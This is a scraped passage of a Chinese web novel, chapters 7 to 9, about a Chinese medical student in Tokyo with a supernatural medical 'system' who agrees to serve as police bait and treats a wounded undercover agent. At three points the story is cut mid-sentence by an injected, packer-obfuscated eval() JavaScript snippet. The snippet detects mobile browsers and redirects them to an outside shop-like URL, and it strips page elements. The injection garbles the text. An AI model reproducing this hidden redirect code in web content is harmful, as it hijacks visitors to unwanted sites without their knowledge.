《在东京当神医的留子日常》 7. 第 7 章 周四清晨,东京下了一场短暂的雨。 雨滴敲在窗户上,把天空洗成一种干净的灰蓝色,江起在闹钟响起前五分钟准时睁眼,躺在床上听了两分钟雨声,然后起身。 洗漱,换上干净的衬衫和长裤,从冰箱里拿出昨晚剩下的饭团加热,牛奶倒入玻璃杯时,窗外最后几点雨丝恰好停歇,云层缝隙里漏下几缕稀薄的阳光。 很平常的早晨。 如果忽略掉枕边那个黑色报警器,和脑海里那些挥之不去,关于昨夜那些浑浊脓液的记忆的话。 江起吃完早餐,将餐具洗净晾好,他拿起报警器掂了掂,最终将它塞进背包内侧的暗袋。 然后,他从书桌抽屉里取出那本廉价的笔记本,翻到最新一页。 上面记录着昨晚的行动要点、伤情判断、用药方案,以及最后那句用铅笔写下的、只有他自己能看懂含义的备注: 【伤口异物?非典型晶体。】 【K:23±,卧底任务暴露,内部有风险。】 【松田/萩原:介入原因?(人情?职责?)联系渠道特殊。】 【后续:48小时观察期,需复查换药,诊金?报警器用途存疑。】 他盯着这几行字看了几秒,然后拿起笔,在后面添了一句: 【被注意了?昨晚归途有被注视感,安全屋或公寓附近可能有眼线。】 写完,他合上笔记本,将它锁进抽屉。 有些事,写下来不是为了记住,而是为了更好地遗忘在纸面上,释放脑中的内存,去应对眼前必须面对的现实。 比如,今天上午八点半的《局部解剖学》实验课。 东大医学部的局部解剖实验室位于医学部大楼的地下二层,空气里永远是那股混合了福尔马林、消毒水和某种难以言喻、属于“生命曾经存在”的特殊气味。 江起穿上白大褂,戴上手套和口罩,走到分配给小组的操作台前。 不锈钢台面上,覆盖着白色无纺布的,是一具完整的成年男性尸体标本,已经过初步处理,皮肤和浅筋膜被小心翼翼地剥离,露出底下错综复杂的肌肉、血管和神经。 “今天我们重点观察上肢的神经血管束走行,特别是臂丛神经的分支和分布。”授课的助教是一位严肃的年轻讲师,语速很快,“各组先自行辨认尺神经、桡神经、正中神经在臂部和前臂的走向,注意它们与肱动脉、肱静脉的位置关系。半小时后抽查。” 实验室里响起轻微的器械碰撞声和压低了的讨论声,江起的组员是两个日本男生和一个女生,都戴着眼镜,神情专注。 “江君,你看这里,”同组的男生佐藤指着尸体腋窝深处,一团交织如网络的淡黄色结构,“这是臂丛神经根干股束的分支起始部对吧?但我有点分不清后束和前束发出的分支……” 江起凑近了些。 在旁人眼里,这只是尸体解剖结构。但在他凝神的瞬间,视野里悄然浮现出辅助的轮廓线——并非昨夜的危机标注,而是一种更倾向于教学引导、淡金色的虚拟解剖图层。 臂丛神经的五大分支被分别用不同颜色的半透明线条高亮标示,沿途的重要毗邻结构也被勾勒出来,甚至在一些关键卡压点旁,还有简短的文字提示常见的临床病变。 这不再是昨夜那种救命的指引,更像是嵌入他视觉认知系统的一份高级互动解剖图谱。 “这里是后束,”江起用镊子尖端虚指了一下,“分出腋神经和桡神经,前束分成外侧束和内侧束,外侧束主要形成肌皮神经和正中神经的一部分,内侧束延续为尺神经,也参与正中神经构成。”他的解说清晰,配合着镊子虚点的位置,恰好与脑海中那淡金色图谱的标注完全吻合。 “原来如此……那肌皮神经穿过喙肱肌的部位,就是临床肌皮神经卡压的常见点?”另一个男生问道。 “对,就在这里。”江起的镊子精准地落在一束纤细的神经穿过一块梭形肌肉的位置,“如果喙肱肌因过度使用或外伤肥厚、纤维化,就可能压迫经过的肌皮神经,导致前臂外侧感觉异常和屈肘无力。这在一些重复性投掷动作的运动员中并不少见。” 他说这话时,脑海中自动关联起之前处理手冢国光肩伤时“看”到的相关肌肉神经状态,以及系统标注的“冈上肌、肩胛下肌损伤可能累及相关神经支配” 的提示。 理论与实践,现代解剖与传统经络,在此刻无声地交融。 同组的女生一边记录一边感叹:“江君你真的好厉害,像活体解剖图谱一样。” 江起只是笑笑,没说什么,继续专注于手中的结构,他能感觉到,随着一次次的实际观察和应用,脑海里的那些知识,无论是系统灌输的,还是他自己原有正在变得越来越“活”,越来越像他自身能力的一部分,而非外来植入物。 实验课有条不紊地进行。 江起娴熟的解剖技巧和精准的解剖学知识很快引起了助教的注意,他被叫到讲台前,示范了如何在不解剖破坏重要血管的前提下,完整地游离出前臂的尺神经全程。 “手法很漂亮,江同学。”助教难得地称赞了一句,“你对神经血管的层次和走行把握得非常精准,这需要大量的实践和空间想象力,以前接触过外科?” “家里有人是医生,小时候看得多。”江起给出了标准答案,谦虚地退回到自己小组。 课间休息时,他走到实验室外的走廊透气。 地下二层没有窗户,只有惨白的日光灯和换气扇低沉的嗡鸣,他靠在冰冷的瓷砖墙上,闭上眼睛,试图驱散鼻端萦绕不散的福尔马林气味。 口袋里手机震了一下,不是邮件,是短信。 【江君,我是萩原,风见的情况稳定了,体温降到三十七度八,精神好多了。再次感谢。诊金已按约定转入你提供的账户,请注意查收,另外,小阵平说今晚如果你有空,他想再和你聊聊。——萩原研二】 江起盯着屏幕,风见稳定了,是好消息,但松田阵平“想再聊聊”……聊什么?昨晚的细节?还是别的? 他回复:【收到,今晚七点后可以,地点?】 几乎秒回:【你公寓附近那家FamilyMart门口,七点半,小阵平来接你。】 【好。】 收起手机,江起重新戴上口罩,走回实验室,福尔马林的气味似乎更浓了。 下午的《医用工学概论》在大教室进行,主讲教授是位头发花白、据说参与过多种医疗设备研发的老学者。 课程内容涉及一些基础的生物力学、材料学和电子工程在医疗器械中的应用原理。 这对大部分医学部学生来说是一门枯燥又艰深的课,但对江起来说,却是另一种体验。 当教授讲到“骨科植入物的生物相容性与应力遮挡效应”时,江起脑海中同步浮现的,不仅是教科书上的示意图,还有一系列动态、模拟不同材质在不同骨骼部位的受力分布、骨改建过程的动态模型,甚至包括一些当前还未大规模临床应用、但已在实验室阶段显示出潜力的新型复合材料数据。 当教授提及“功能性电刺激在神经康复中的应用”时,相关的神经电生理原理、刺激参数优化方案、不同病灶的差异化刺激策略,连同一些典型的临床案例波形图,都自动在意识背景中排列组合,供他随时调用理解。 这种感觉很奇妙。 他像是一个带着顶级数据库,和模拟软件来听基础入门课的学生,教授讲的每一个知识点,都能瞬间在他脑中激发出更深、更广、更前沿的关联信息和可能性推演。 这让他听课的效率极高,但也更容易走神,因为信息流太庞大了。 他不得不有意识地控制自己,只聚焦于课堂的主干内容,将那些自动涌现的延伸知识暂时标记为“背景信息”,留待课后整理。 课间,前排两个同样来自中国的留学生回头找他聊天,话题从课程难度跳到最近的兼职信息,又跳到周末华人圈的聚餐活动。 江起礼貌地应和着,心思却有一半还停留在刚才教授提到的“便携式多普勒超声探头,小型化技术”上,脑子里自动对比着几种不同技术路径的优劣。 “江起,你周末来吗?据说有地道的火锅。”一个叫李铭的男生热情地问。 “再看吧,这周有点事。”江起歉意地笑笑。 “哦对,听说你最近挺忙的,好像在帮人看病?”另一个女生王薇压低声音,眼神里带着好奇和一丝羡慕,“都传到我们学部了,说你医术超厉害,连警察都找你。” 消息传得真快。 江起面不改色:“哪有,就是同学间互相帮忙看看小伤,正好家里懂一点,警察是因为上次爆炸案做笔录,误会了。” 他语气平淡,把话题轻巧地带过,李铭和王薇虽然还有疑问,但见他不想多谈,也就识趣地转回了火锅的话题。 下课铃响时,天空又阴沉下来,看样子晚上还有雨。 江起收拾好东西,随着人流走出教学楼。 下午四点的校园里依旧人来人往,充满了年轻的活力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883060|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他顺着林荫道往图书馆方向走,打算借几本关于耐药菌感染和创面管理的专著,昨晚的经历让他意识到,仅靠系统提供的即时信息和传统经验还不够,他需要更系统地夯实这方面的理论基础。 走到图书馆前的广场时,他脚步几不可查地顿了一下。 那种感觉又来了。 被注视的感觉。 不同于昨晚在车里那种模糊的直觉,这一次更清晰,也更……持久。 视线来自侧后方,大约三十米外,图书馆二楼那排面向广场的落地窗附近。 江起没有回头,甚至没有改变步频和方向,他像所有赶着去图书馆的学生一样,自然地加快了一点脚步,同时借着调整背包肩带的动作,用眼角的余光飞快地向那个方向扫了一眼。 二楼窗户很多,人影幢幢。 有站着看书的学生,有倚着窗台聊天的情侣,有来回走动的管理员。 没有哪个身影特别可疑,也没有人明显在盯着他。 但那种被注视的感觉并未消失,反而像一根细小的冰刺,扎在后颈的皮肤上。 他维持着平静的表情,走进图书馆,刷卡,穿过安检门。 冷气扑面而来,混合着纸张、灰尘和中央空调特有的味道。 他径直走向电梯,按下三楼的按钮。 电梯门缓缓合上,将外面的大厅隔绝,镜面的电梯内壁映出他没什么表情的脸。 是谁? 警察?松田他们安排了人保护(或者说监视)他?还是……昨晚安全屋外的眼睛,跟到这里来了? 电梯到达三楼。 门开,他走了出去,走向医学藏书区。 那股被注视的感觉,在进入图书馆内部后,似乎减弱了一些,但并未完全消失。 江起在书架间穿梭,找到了需要的几本书,办理了借阅手续。 整个过程他都表现得极其正常,甚至在还书柜台前,还和一个面熟的图书管理员点头打了个招呼。 走出图书馆时,已经快到五点半。 天色更暗了,风里带着湿意,那股被注视的感觉已经消失,仿佛从未存在过。 是错觉吗?还是真的有人? 他想起背包里那个报警器,松田阵平说过,“有任何你觉得不对劲的事,随时按”。 但现在按,说什么?我觉得有人看我?证据呢? 江起摇了摇头,将这个念头压下,他决定再观察看看。 如果真有麻烦,对方迟早会露出马脚。 他步行回到高田马场的公寓,路上在便利店买了晚餐的便当和一瓶绿茶。 上楼,开门,房间和他早上离开时一模一样。 他放下东西,先打开笔记本电脑,登录网上银行。 账户里果然多了一笔来自“XX商事株式会社”的汇款,金额是之前谈好的诊金的五倍,备注栏写着“技术咨询费”。 数额不小,足以支撑他相当一段时间的生活开销,甚至能添置一些更好的医疗设备和书籍。 但江起看着那串数字,心里并没有什么喜悦。 这笔钱背后,是一个年轻人的生死挣扎,和一堆他现在还不完全清楚、但肯定异常麻烦的秘密。 他关掉网页,开始加热便当。小小的厨房里飘起食物的香气,暂时驱散了房间里挥之不去的、属于昨夜的消毒水和紧张感的余味。 七点二十分,他换上一件深色的连帽衫,将报警器揣进外套口袋,背上装着笔记本和笔的轻便背包,下楼。 雨又开始下了,细密的雨丝在便利店招牌的灯光下像无数银线。 江起撑着伞,站在FamilyMart门口的屋檐下,看着街上来往的车灯在水洼里拉出破碎的光影。 七点二十八分,那辆熟悉的白色马自达RX-7悄无声息地滑到路边,副驾驶车窗降下。 松田阵平戴着墨镜的脸露出来,朝他偏了偏头。 “上车。” 语气依旧简洁,没什么温度。 江起收起伞,拉开车门坐进副驾驶,车内很干净,有淡淡的皮革味和一股极淡、属于松田身上的烟草气息。 车子没有立刻启动,松田阵平转过头,隔着墨镜看着他。 “昨晚回去后,有没有遇到什么特别的事?”他问,声音在狭小的车厢里显得格外清晰。 江起心里微微一动。他迎上松田的目光,平静地回答: “有。” “我感觉,被人盯上了。” 8. 第 8 章 空气似乎凝固了一瞬。只有雨声持续。 松田阵平没说话,只是伸手摘下了墨镜,那双总是带着几分不耐烦,此刻却异常锐利的眼睛在车内昏暗的光线下,像能刺穿人心。 他盯着江起看了足足三秒钟,才缓缓开口: “什么时候?在哪里?具体感觉?” “今天下午四点左右,从教学楼去图书馆的路上,在东大图书馆前的广场,感觉有人在二楼窗户那边看我。持续时间不长,但很明确,进图书馆后感觉弱了些,但没完全消失,出来时没了。”江起语速平稳,描述精确,“没有看到明确目标,只是感觉。” 松田阵平的手指在方向盘上轻轻敲了敲,这是他思考时的习惯动作。“只有感觉?” “只有感觉。”江起承认,但补充道,“不过昨晚从……那边回来,下车进公寓楼时,也有类似的感觉,只是没今天下午那么清晰。当时以为是自己太累了。” 松田阵平沉默了几秒,忽然问:“你大学是学医的,但家里是中医世家,对吧?” “是。” “中医里,有没有什么说法……关于人对‘注视’或者‘恶意’的感知?”松田阵平的问题很直接,甚至有些突兀。 江起略微一怔,随即意识到对方是在评估他这份“感觉”的可信度。 “中医讲‘望闻问切’,‘望’排在第一位。高明的医生,确实能通过观察人的气色、神态、甚至行走坐卧的细微之处,判断其健康乃至情绪状态。 长期训练这种观察力的人,对他人目光的敏感度可能会比普通人高一些。 另外,传统养生理论也认为,人在心神特别专注或放松时,对外界‘气场’变化的感应会增强。”他给出了一个介于医学和玄学之间,听起来似乎合理的解释。 松田阵平听完,没评价这个解释本身,只是重新戴上墨镜,发动了汽车。 “系好安全带。” 白色RX-7低吼一声,汇入夜雨中的车流。 松田阵平开车的风格不一样,干脆利落,带着点不易察觉的侵略性,在湿滑的路面上依然保持着稳定的高速。 “你的感觉可能没错。”开出两个街区后,松田阵平才开口,声音没什么起伏,但比平时更沉一些,“昨晚你们离开后,那附近不太平,有两拨人在转悠,一拨像找茬的混混,另一拨……” 他顿了顿,墨镜后的眉头似乎蹙了一下,“更麻烦点,我们处理了混混,另一拨人自己走了。” 江起静静听着。 所以昨晚的感觉不是错觉,真的有两拨人在找那个受伤的公安,而且其中一拨,显然具备一定的专业素养。 “今天下午在图书馆盯你的,可能是第二拨人里的。”松田阵平打了把方向盘,车子拐进一条相对僻静的小路,“他们没在公寓堵到你,就换了思路,从你这边入手,东大医学部中国留学生江起,这个身份不难查。” “他们查到什么程度了?”江起问。 “不清楚,但既然敢直接到大学里找你,说明他们已经确定了你的存在,并且认为你有价值。”松田阵平的语气很淡,但话里的意思却不轻松,“萩原研二下午接到一个电话,用变声器,说了句‘多谢照顾我们走失的小鸟’。” 小鸟,走失的小鸟?这是在隐喻那个受伤的年轻人。 “是追杀他的人?”江起想起冈崎提到的“极道团体”。 “混混那拨可能是,打电话这拨……”松田阵平顿了顿,语气里透出点冷意,“不像,他们的做派,更像是在‘确认’,而不是‘追杀’,而且,他们知道打给谁。” 知道打给萩原研二。 这意味着,对方不仅知道人可能被警察救了,甚至可能知道具体是哪两个警察插的手。 这不是普通的极道团体能做到的。 “内鬼。”江起说出了一个两人都心知肚明的可能性。 松田阵平没有否认,只是从鼻子里轻轻哼了一声,算是默认。“所以你现在有麻烦了。” 他侧过头,墨镜对着江起的方向,声音低了些,带着一种近乎直白的锐利,“虽然他们现在的主要目标还是那小子,但你救了他,又知道了地方,在他们眼里,你已经是链条上的一环,清理链条,是那些人的习惯。” 他顿了顿,手指又在方向盘上敲了两下,才继续说:“这事怪我,本来不该把你卷这么深。” 这话说得突然,语气里没有太多外露的情绪,但江起听出了里面那点细微,被压抑着的东西——不是道歉,更像是某种自我认定的失算,以及随之而来的责任感。 车子在一个红灯前停下。 雨刮器规律地摆动,刮开挡风玻璃上不断流淌的雨水。 窗外,东京的夜景在雨幕中模糊成一片流动的光斑。 “你们打算怎么办?”江起问,他并不惊慌,事已至此,他需要知道警察的应对方案,以及自己在这盘棋里被放在了什么位置。 “人不能留在原来的地方了,今晚就会转移。”绿灯亮起,松田阵平踩下油门,“至于你……” 他沉默了两秒,像是在组织语言,又像是在下某种决心。 “听着,小子。”松田阵平的称呼变了,语气也更硬,“现在给你两条路,第一,我们给你找个绝对安全的地方,派人二十四小时守着,吃住全包,直到这事彻底了结,时间可能几天,可能几周,你的学业肯定会耽误,但命肯定在,这是最稳妥的,也是我建议你选的。” 他特意强调了“我建议你选”。 “第二?”江起问,语气依旧平静。 “第二,”松田阵平看了他一眼,那目光透过墨镜,依然有分量,“你该干嘛干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883061|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛,上学,下课,回公寓,就当什么都不知道,我们会安排人远远跟着,尽量不让你发现,但不可能贴太近,同时……” 他顿了顿,每个字都咬得很清楚,“你可能需要偶尔‘不小心’露点破绽,看看能不能把那些藏在暗处的老鼠钓出来。” “饵?”江起准确地抓住了关键词。 “是饵。”松田阵平承认得干脆,甚至带着点狠劲,“我们需要知道对方到底想干什么,到底是谁,到底伸了多长的手,你年轻,是学生,看起来没背景,是他们眼里最容易撬开、也最可能知道点什么的口子,用你当饵,效率最高。” 他停了停,补充道,语气恢复了那种近乎冷酷的务实:“选第一个,诊金照付,额外补偿我们想办法申请,选第二个,除了诊金,这次‘协助调查’会有另一份津贴,而且……” 他这次停顿的时间更长了些,“我和萩原研二,各欠你一个人情,以后在东京,只要不违法乱纪、不违背原则,我们能办到的事,你可以开口。” 很实在的交换条件,安全,或者风险加利益加两个分量不轻的承诺。 江起几乎没有犹豫。“我选第二个。” 松田阵平猛地转过头,墨镜后的视线似乎锐利了一倍,“理由?”他的声音压低了,带着警告,“别跟我说什么不怕死,这不是游戏。” “第一,躲起来解决不了根本问题,他们能查到我,就能查到更多,只要他们还在找我,我就永远不安全,不如主动点,把他们挖出来。” 江起看着窗外流淌的雨光,声音平稳清晰,“第二,我的学业不能停,我是来留学的,不是来逃难的,停课几周,我的签证、奖学金、毕业都可能出问题。 第三……” 他转过头,直视着松田阵平墨镜上映出的自己模糊的影子:“我相信你和萩原研二警官,不会让我真的出事,毕竟,我还欠着松田警官一顿拉面钱,账没还清之前,我这条命,你们总得看着点。” 最后这句话,他用了一种近乎轻松的语气说出来,甚至还带上了一点极淡的笑意。 松田阵平盯着他看了好几秒。 车厢里安静得只剩下引擎的低鸣和雨声。 然后,他转回头,目视前方,嘴角几不可查地扯动了一下,像是想笑,又像是被气到了。 “行。”他最终只吐出一个字,但语气里那种紧绷的警告意味消散了一些,取而代之的是一种“随你便,但后果自负”的硬气,“不过你给我记清楚了,选了这条路,就别指望我们时刻在你身边,真动起手来,子弹不长眼,我们的人冲过来也需要时间,你自己机灵点,别犯蠢。” “我知道。”江起点点头,“我会小心。” 松田阵平没再接话,只是猛地踩下油门,车子在湿滑的路面上划出一个利落的弧线,朝着另一个方向驶去。 9. 第 9 章 车子最终停在了一栋位于居民区深处,看起来有些年头的三层小楼前。 楼体是传统的日式风格,门口挂着“石田诊疗所 内科·汉方咨询·针灸”的木质招牌,字体古朴。 一楼的格子窗透出明亮而不刺眼的白色光线,隐约能看到里面整洁的接待区,和部分医疗设备的轮廓。 “这里是……”江起有些意外。 “一个绝对可靠的地方。”松田阵平熄火,语气不容置疑,“人暂时转移到这里,石田一郎先生是这里的主人,记住,进去之后,你只是我请来帮忙做‘针灸辅助调理’的医学生,其他的一概不知,这里很干净,但有些规矩必须守。” 两人下车,撑伞走到诊所门口。 预想中浓郁的中药味并没有出现,空气里是淡淡的消毒液气味,混合着一丝让人安心的艾草薰香。 内部装修是简洁的现代日式风格。 米色墙壁,浅木色地板。 左侧是接待台和候诊区,摆放着几张舒适的沙发和医学杂志。 右侧用磨砂玻璃隔出了两间诊室。 最引人注目的是靠里一整面墙的深色实木药柜,但与传统中药柜不同,它更像一个现代化的仓储系统,每个小抽屉都配有电子标签。 药柜旁则是一个标准的西药架和无菌操作台。 诊疗床是医院常见的可升降式,但旁边的小推车上整齐码放着一次性针灸针、艾炷、火罐和TDP神灯。 一个穿着熨帖的白大褂、头发银白梳得一丝不苟、面容清癯严肃的老人,正站在接待台后,对着电脑屏幕查看什么。 听到门响,他抬起头,目光平静地扫过两人。 “松田君,这位就是江医生吧?”老人的声音温和,带着岁月沉淀的从容。 “石田先生,打扰了。”松田阵平难得地用了敬语,态度是江起从未见过的恭敬,“这位是江起,东大医学部的留学生,江起,这位是石田一郎先生。” “石田先生,您好,叫我江起就好。”江起微微鞠躬,他能感觉到,这位老人身上有一种久经世事的威严感,绝非普通开诊所的老人家。 松田阵平对他的敬重,是发自内心的。 “江君不必多礼,昨晚的事,松田君大致跟我说了。”石田一郎放下书,站起身,走到江起面前,仔细打量了他一下,目光在他背着的包上停留了一瞬,点点头,“年纪轻轻,临危不乱,难得,人在楼上,情况稳定了不少,你去看看吧。” “好的,谢谢您。”江起再次道谢,跟着松田阵平从问诊台侧面的小楼梯上了二楼。 二楼是更为私密的区域,铺设着软木地板,隔音很好。 冈崎正坐在走廊的椅子上闭目养神,听到动静立刻睁眼,对两人点了点头。 松田阵平推开一扇标有“观察室1”的门。 房间比楼下诊室稍大,更像一间设施齐全的私人病房。 有独立的卫浴,医疗设备也更齐全:监护仪、输液架、氧气接口。 那个受伤的年轻人半靠在可调节的病床上,背后垫着枕头,左腿的绷带已经换成了更专业的医用敷料,脸色虽然依旧苍白,但眼神里的浑浊和死气已经褪去,恢复了清明,只是带着深深的疲惫和尚未消散的惊悸。 看到江起,年轻人挣扎着想坐直些。 “别动,躺着就好。”江起阻止了他,走到床边,放下背包,“感觉怎么样?” “好多了……真的。”对方的声音依然虚弱,但清晰了许多,“烧退了,伤口……好像没那么胀痛了,江医生,昨晚……真的非常感谢。” “叫我江起就好,发痒是好事,说明炎症在消退,组织开始修复了。”江起示意他放松,然后对松田阵平和冈崎说,“我需要为他检查伤口和换药,可能需要一点时间。” 两人会意,退到门外,轻轻带上门,但没有离开,能听到他们低声交谈的声音。 江起洗净手,戴上无菌手套,小心地揭开敷料。 伤口暴露出来,情况确有好转。 红肿范围显著缩小,颜色转为暗红,皮温接近正常。 渗出物变得稀薄、清亮,量也减少了大半。 更重要的是,在他凝神观察时,视野中那些代表严重感染,和坏死风险的暗红色警示区域已经大幅度消退,而代表新生肉芽组织的淡粉色区域,正从创面边缘和基底稳步生长、连接。 感染被控制住了,身体开始了艰难的修复过程。 “恢复得很好,比预想的还要快一些。”江起一边用碘伏棉球由外向内轻柔消毒,一边说,“这说明你的身体底子不错,对抗感染和修复的能力很强。接下来继续保持,营养一定要跟上,这是长伤口的基础。” 他熟练地涂抹上促进肉芽生长的药膏,盖上新型的抗菌泡沫敷料,妥善固定。 整个过程轻柔、迅速,最大限度地减少了病人的不适。 接着,他打开自己的包,取出针具盒。 选取了穴位以足三里、三阴交、血海、太溪等健脾补肾、益气养血的穴位为主,意在巩固根本,促进修复。 下针时,脑海中的优化方案自动匹配了当前恢复期的需求,精确调整着每个穴位的刺激参数。 针尖落下,捻转得气,年轻人小腿的肌肉微微跳动,随即放松下来,口中轻轻吁出一口气。 “这次的针感,和昨晚不一样……”他低声说。 “昨晚以清热泻毒、通络止痛为主,力道和针感偏‘泻’,会有些酸麻胀痛,今天以补益气血、生肌长肉为主,手法偏‘补’,针感应是酸胀中带着微微的温热感,会舒服一些。”江起一边行针,一边平静地解释,“感觉对吗?” “对…就是那种有点酸胀,但又暖洋洋的感觉…好像…好像伤口里面有点发痒的地方,被这股暖流碰到,就没那么难受了。”年轻人描述着,眼神里露出一丝惊奇,他不懂医理,但身体的感觉不会骗人。 “嗯,说明气血开始往伤处走,是好事。”江起点头,继续行针,他又在伤口近端和远端的几个特定穴位下了几针,形成一个促进局部循环的“场”。 观察室内很安静,只有仪器轻微的滴答声,和两人平缓的呼吸。 这时,门被轻轻敲了两下,然后推开。 石田一郎走了进来,手里拿着一个平板电脑,上面似乎是化验单,他看到江起正在行针,便在门口停下脚步,没有出声打扰,只是静静地看着。 他的目光首先落在江起持针的手上,稳,极稳。 下针果断,角度精准,捻转提插的幅度和频率带着一种富有韵律的节奏感。 然后,他的目光移向那些刺入穴位的针柄,观察着它们随着患者呼吸,和江起手法而产生的颤动。 江起行针完毕,留针。 这才注意到门边的石田一郎,起身点头致意。 石田一郎走了进来,目光落在患者小腿的敷料和露出的几处银针上,又看了看监护仪上平稳的数据,最后才看向江起,缓缓开口: “江君的针法……非常规范,而且有独到之处。”他的声音依旧平稳,但用词很谨慎,“取穴完全符合解剖定位,甚至考虑到筋膜链和神经反射的现代理论。 手法看似传统,但劲力的渗透层次和控制精度,尤其是对深层组织激发修复反应的把握,远远超出了一个医学生、甚至普通针灸师的范畴。” 他顿了顿,金丝眼镜后的目光带着探究:“更让我在意的是,你下针时的‘神’,那不是简单的操作熟练,而是基于对生命状态极其精微的洞察和预判后,所做的精准干预。 这种‘洞察力’,通常需要数十年临床历练,加上非凡的天赋,才能获得,江君,你师承何处?或者说,你接受的医学训练体系,似乎有些特别。” 这个问题很犀利,直接指向了江起医术中“不合理”的部分。 松田阵平和冈崎不知何时也回到了门口,安静地听着。 江起迎上石田一郎审视的目光,心知这是关键的一关,这位老人不是松田或萩原,他是一位医学专家,任何敷衍或夸大都会立刻被识破。 “石田先生过誉了。”江起语气诚恳,半真半假地回答,“家祖是乡间中医,家父是西医外科医生,我从小是在两种医学思维碰撞下长大的。 祖父教我认穴、摸脉、感受‘气’,父亲教我解剖、生理、看片子。 对我来说,经络穴位和神经血管肌肉,是描述同一事物的不同语言体系。 至于手法和所谓的‘洞察’……” 他顿了顿,选择了一个更易被专业人士接受的说法:“可能和我从小接触病人有关。 祖父的诊所就是我的课堂,见过的病例多了,各种身体对治疗的反应印在脑子里,久而久之,看到一个新的病人,有时会模糊地‘感觉’到他身体内部的失衡点,和可能的反应路径。 下针时,我会顺着这种感觉去寻找和引导。 我也不知道这算不算‘洞察’,或许只是大量经验积累下的一种…笨拙的模仿和直觉。” 这个解释,将系统的“标注”和“优化”能力,巧妙包装成了“家学渊源+海量病例经验+个人天赋直觉”的混合产物。 虽然依然惊人,但在医学天才的范畴内,勉强有了一丝合理性,世界上总有那种仿佛为医学而生的怪物。 石田一郎静静地听着,手指无意识地轻轻敲击着平板电脑的边缘。 良久,他才缓缓点了点头,目光中的审视淡去,化为一种带着惋惜和欣赏的复杂神色。 “家学渊源,中西贯通,天赋直觉……再加上超越年龄的沉稳心性。”他轻轻叹了口气,“江君,你拥有成为真正大医的绝佳潜质,可惜……” 他看了松田阵平一眼,没把话说完,但意思很明显:可惜卷进了麻烦里。 “现在说这些还早。”石田一郎话锋一转,语气恢复了专业性的冷静,“你的处理非常及时有效,为患者争取了最关键的时间,后续的恢复治疗,我会接手,不过,江君,我有个建议,或许也是请求。” “您请说。” “你的针灸技艺,已远超普通水准,甚至不逊于许多成名大家,但你没有日本的‘はり師、きゅう師’(针灸师、灸师)国家资格。” 石田一郎看着他,目光清澈而直接,“这始终是个隐患,无论对你,还是对信任你的患者。 以你的能力,通过资格认定易如反掌。 我在针灸师协会还有些影响力,可以为你引荐,参加一次针对特殊技能者的‘特例认定试验’。 如果你愿意,并且通过,你将获得合法的执业资格,这不仅是保护你自己,也能让你更好地发挥所长,帮助更多人。” 这个提议来得突然,但合情合理,正中要害。 松田阵平闻言,也看了江起一眼,几不可查地点了下头。 这显然是他们在来之前就商议过的,或者说,是石田一郎在评估了江起的能力后,主动提出的解决方案。 这不仅仅是一张资格证,更是一层合法的保护衣,和一条将他真正纳入某个“正规体系”的通道。 江起几乎没有犹豫,这是解决眼前困境,让他的医术能更光明正大使用的绝佳机会。 “非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883062|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感谢您,石田先生,我愿意参加,并会全力以赴。” “很好。”石田一郎脸上露出了一丝极淡的笑容,“具体事宜,我会让协会那边安排。 时间应该就在近期,这几天,你如果有空,可以多来看看这位患者,我们也正好可以交流一下针法心得。 我年轻时,也曾痴迷于此道,只是后来专注于法医病理,有些生疏了。 看到你,倒让我想起不少有趣的案例。” “一定,谢谢石田先生。”江起郑重道谢,这不仅是一个考试机会,更是一位泰斗级人物的亲自指点,价值难以估量。 又交代了一些注意事项,并约定好下次换药时间后,江起和松田阵平离开了诊所。 回程的车内,气氛比来时似乎轻松了一点点,但依旧沉凝,雨已经小了很多,变成潮湿的雾气,笼罩着夜晚的东京。 “石田先生很看重你。”松田阵平忽然开口,目视前方,“他很少主动为人安排事情,尤其是这种事,那张资格证,能帮你挡掉很多不必要的麻烦,至少,以后你再‘不小心’救个什么人,手续上说得过去。” “我明白,谢谢。”江起知道,这其中肯定也有松田和萩原的推动,他们确实在用自己的方式,为将他卷入危险而做出补偿和安排。 “不过,别以为有了证就万事大吉。”松田阵平的语气又硬了起来,“你自己,多长个心眼。” “我知道。”江起点头,看向窗外的霓虹灯。 “他的伤,大概还要多久能恢复行动?”松田阵平问。 “如果一切顺利,两周左右可以尝试下地慢慢活动,完全恢复起码要一个月以上,而且会留下不小的疤痕。”江起给出保守估计,“不过,他这次元气大伤,后续的调养更重要,不然会留下病根。” 松田阵平“嗯”了一声,手指在方向盘上无意识地敲着,似乎在想什么。 过了一会儿,他说:“明天开始,你正常上学放学,我们会安排两组人轮流在远处跟着,但不会靠近,也不会干扰你。 你自己必须提高警惕,眼观六路,耳听八方。 